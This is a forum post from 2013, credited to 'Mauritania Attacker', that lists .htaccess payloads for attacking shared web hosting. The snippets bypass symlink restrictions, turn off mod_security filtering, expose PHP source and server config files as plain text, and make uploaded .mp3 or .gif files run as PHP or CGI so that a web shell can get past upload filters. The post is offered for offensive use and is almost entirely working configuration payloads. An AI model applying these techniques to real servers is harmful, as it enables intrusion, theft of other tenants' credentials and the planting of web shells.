pedala1 Posted January 19, 2013 Report Posted January 19, 2013 *********************Bypass Symlink with .htaccess bY Mauritania Attacker************************i will write down for you all .htaccess possible* Options FollowSymLinks MultiViews Indexes ExecCGI* Options Indexes FollowSymLinks DirectoryIndex ssssss.htm AddType txt .php AddHandler txt .php* Options All DirectoryIndex ssss.html addType txt .php AddHandler txt .php <IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off </IfModule>* Options All ReadMeName 1.txt* suPHP_ConfigPath /home/user/public_html/php.ini* Options all* Options +FollowSymLinks DirectoryIndex Sux.html Options +Indexes AddType text/plain .php AddHandler server-parsed .php AddType text/plain .html* Options Indexes FollowSymLinks DirectoryIndex ssssss.htm AddType txt .php AddHandler txt .php <IfModule mod_autoindex.c> IndexOptions FancyIndexing IconsAreLinks SuppressHTMLPreamble </ifModule> <IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off </IfModule>This one is to make python work :* AddType application/x-httpd-cgi .py AddHandler cgi-script .py AddHandler cgi-script .pyThis one is to make perl work :* AddType application/x-httpd-cgi .pl AddHandler cgi-script .pl AddHandler cgi-script .plThis one is to enable Symlink if the function is disabled in the server :* <Directory "/home"> *** Options -ExecCGI* *** AllowOverride AuthConfig Indexes Limit FileInfo Options=IncludesNOEXEC,Indexes,Includes,MultiViews ,SymLinksIfOwnerMatch,FollowSymLinks </Directory>This one is to retrieve users permissions :* AddType text/plain .php Options +Indexes DirectoryIndex filename.html* Bypass Internal Server error :<IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off </IfModule>* Change php version :AddType application/x-httpd-php4 .php* Bypass Uploads Options and upload shell in another extension :<FilesMatch "^.*\.mp3"> SetHandler application/x-httpd-php </FilesMatch>* Retrieve Config with picture method :Options FollowSymLinks MultiViews Indexes ExecCGI AddType application/x-httpd-cgi .gif AddHandler cgi-script .gif AddHandler cgi-script .gifBypass Symlink Private 2013 - Pastebin.com Quote